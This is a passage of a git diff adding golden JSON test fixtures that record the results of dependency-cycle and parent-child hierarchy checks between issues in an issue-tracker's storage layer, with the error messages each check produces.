hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dx tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dx tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dl tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dl cannot depend on itself", + "probe eq-dl -\u003e eq-dl tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dl cannot depend on itself", + "probe eq-dl -\u003e eq-dl tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dl cannot depend on itself", + "probe eq-dl -\u003e eq-dk1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dk1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dk1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dk2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dk2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dk2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e external:proj:cap tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e external:proj:cap tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e external:proj:cap tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dmissing tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dmissing tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dl -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.1.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.1.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db3 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db3 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db3 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db4 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db4 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-db4 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dr tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dr tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dr tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dwf tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dwf tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dwf tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dc tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dc tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dc tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dw1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dw1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dw2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dw2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dw2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dx tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dx tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dx tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dl tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dl tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dl tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dk1 tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dk1 cannot depend on itself", + "probe eq-dk1 -\u003e eq-dk1 tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dk1 cannot depend on itself", + "probe eq-dk1 -\u003e eq-dk1 tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dk1 cannot depend on itself", + "probe eq-dk1 -\u003e eq-dk2 tables=[]: cycle=true hierarchy=eq-dk1 cannot be blocked by its ancestor eq-dk2: eq-dk2 cannot close until its descendants finish, so the gate would never clear cycle-check=adding dependency would create a cycle", + "probe eq-dk1 -\u003e eq-dk2 tables=[dependencies]: cycle=true hierarchy=eq-dk1 cannot be blocked by its ancestor eq-dk2: eq-dk2 cannot close until its descendants finish, so the gate would never clear cycle-check=adding dependency would create a cycle", + "probe eq-dk1 -\u003e eq-dk2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e external:proj:cap tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e external:proj:cap tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e external:proj:cap tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dmissing tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dmissing tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk1 -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.1.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.1.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db3 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db3 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db3 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db4 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db4 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-db4 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dr tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dr tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dr tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dwf tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dwf tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dwf tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dc tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dc tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dc tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dw1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dw1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dw2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dw2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dw2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dx tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dx tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dx tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dl tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dl tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dl tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dk1 tables=[]: cycle=true hierarchy=eq-dk2 cannot be blocked by its ancestor eq-dk1: eq-dk1 cannot close until its descendants finish, so the gate would never clear cycle-check=adding dependency would create a cycle", + "probe eq-dk2 -\u003e eq-dk1 tables=[dependencies]: cycle=true hierarchy=eq-dk2 cannot be blocked by its ancestor eq-dk1: eq-dk1 cannot close until its descendants finish, so the gate would never clear cycle-check=adding dependency would create a cycle", + "probe eq-dk2 -\u003e eq-dk1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dk2 tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dk2 cannot depend on itself", + "probe eq-dk2 -\u003e eq-dk2 tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dk2 cannot depend on itself", + "probe eq-dk2 -\u003e eq-dk2 tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dk2 cannot depend on itself", + "probe eq-dk2 -\u003e external:proj:cap tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e external:proj:cap tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e external:proj:cap tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dmissing tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dmissing tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dk2 -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.1.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.1.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db3 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db3 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db3 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db4 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db4 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-db4 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dr tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dr tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dr tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dwf tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dwf tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dwf tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dc tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dc tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dc tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dw1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dw1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dw2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dw2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dw2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dx tables=[]: cycle=true hierarchy=ok cycle-check=adding dependency would create a cycle", + "probe external:proj:cap -\u003e eq-dx tables=[dependencies]: cycle=true hierarchy=ok cycle-check=adding dependency would create a cycle", + "probe external:proj:cap -\u003e eq-dx tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dl tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dl tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dl tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dk1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dk1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dk1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dk2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dk2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dk2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e external:proj:cap tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: external:proj:cap cannot depend on itself", + "probe external:proj:cap -\u003e external:proj:cap tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: external:proj:cap cannot depend on itself", + "probe external:proj:cap -\u003e external:proj:cap tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: external:proj:cap cannot depend on itself", + "probe external:proj:cap -\u003e eq-dmissing tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dmissing tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe external:proj:cap -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.1.1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.1.1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db3 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db3 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db3 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db4 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db4 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-db4 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dr tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dr tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dr tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dwf tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dwf tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dwf tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dc tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dc tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dc tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dw1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dw1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dw2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dw2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dw2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dx tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dx tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dx tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dl tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dl tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dl tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dk1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dk1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dk1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dk2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dk2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dk2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e external:proj:cap tables=[]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e external:proj:cap tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e external:proj:cap tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", + "probe eq-dmissing -\u003e eq-dmissing tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dmissing cannot depend on itself", + "probe eq-dmissing -\u003e eq-dmissing tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dmissing cannot depend on itself", + "probe eq-dmissing -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dmissing cannot depend on itself", + "add eq-db1 -blocks-\u003e eq-db4: adding dependency would create a cycle", + "add eq-db1 -blocks-\u003e eq-dr: ok", + "add eq-de -blocks-\u003e eq-de.1.1: eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close", + "add eq-de.1.1 -blocks-\u003e eq-de: eq-de.1.1 cannot be blocked by its ancestor eq-de: eq-de cannot close until its descendants finish, so the gate would never clear", + "add eq-de.1.1 -blocks-\u003e eq-de.2: ok", + "add eq-de -parent-child-\u003e eq-dw2: adding dependency would create a cycle", + "add eq-dw1 -blocks-\u003e eq-dx: adding dependency would create a cycle", + "add eq-dw2 -blocks-\u003e eq-dl: ok", + "add eq-dl -conditional-blocks-\u003e eq-dw1: ok", + "add eq-dl -blocks-\u003e eq-dc: ok", + "add eq-dl -blocks-\u003e eq-dl: cannot add self-dependency: eq-dl cannot depend on itself", + "add eq-dl -waits-for-\u003e eq-db3: ok", + "add eq-db1 -blocks-\u003e eq-dl: ok", + "add eq-db4 -parent-child-\u003e eq-db1: ok", + "add eq-dmissing -blocks-\u003e eq-dl: issue eq-dmissing not found", + "add eq-dl -blocks-\u003e eq-dmissing: issue eq-dmissing not found", + "add eq-db2 -related-\u003e eq-db1: dependency eq-db2 -\u003e eq-db1 already exists with type \"blocks\" (requested \"related\"); remove it first with 'bd dep remove' then re-add", + "add eq-dr -blocks-\u003e external:proj:other: ok", + "add eq-de.2 -parent-child-\u003e eq-de.1: ok", + "add eq-de.1 -blocks-\u003e eq-de.2: eq-de.1 cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close", + "add eq-dk1 -blocks-\u003e eq-dl: ok", + "add eq-dl -blocks-\u003e eq-dk2: adding dependency would create a cycle", + "add eq-dk2 -blocks-\u003e eq-dk1: eq-dk2 cannot be blocked by its ancestor eq-dk1: eq-dk1 cannot close until its descendants finish, so the gate would never clear" + ], + "stale": null, + "changed": null, + "counter": null +} diff --git a/internal/storage/createbatchequiv/golden/waitsfor.json b/internal/storage/createbatchequiv/golden/waitsfor.json new file mode 100644 index 000000000..66fa2c710 --- /dev/null +++ 